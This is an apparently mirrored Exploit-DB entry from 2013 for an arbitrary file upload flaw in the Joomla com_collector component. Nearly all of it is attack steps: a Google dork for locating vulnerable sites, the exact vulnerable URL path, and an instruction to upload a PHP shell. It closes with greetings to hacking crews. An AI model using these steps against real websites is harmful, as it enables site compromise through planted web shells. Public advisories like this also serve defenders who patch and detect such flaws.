Joomla! Component com_collector – Arbitrary File Upload - 体验盒子

作者： Red Dragon_al

日期： 2013-01-19

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/24228/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

# Exploit Title:Joomla com_collecter shell upload

# Author: Red Dragon_al (Alb0zZ Team)

# Home :HackForums.AL,alb0zz.in

# Date :19/01/2013

# Category:: web apps

# Google dork: [inurl:index.php?option=com_collector]

# Tested on: Windows XP

# Download: http://www.steevo.fr/en/download

# Home Page: http://www.steevo.fr/

---------------------------------------

#~ Expl0itation ~#

---------------------------------------

1- Google dork: [inurl:index.php?option=com_collector]

2- add this part to the site/index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1

3- it will look like this http://www.site.com/[path]//index.php?option=com_collector&view=filelist&tmpl=component&folder=&type=1

upload ur shell as : shell.php

# Greetz :R-t33n , dA3m0n , 0x0 ,The0c_No , AutoRun , Dr.Sql , Danzel , RetnOHacK , eragon, gForce , Th3_Power , AHG-CR3W, & All my friends.

#2013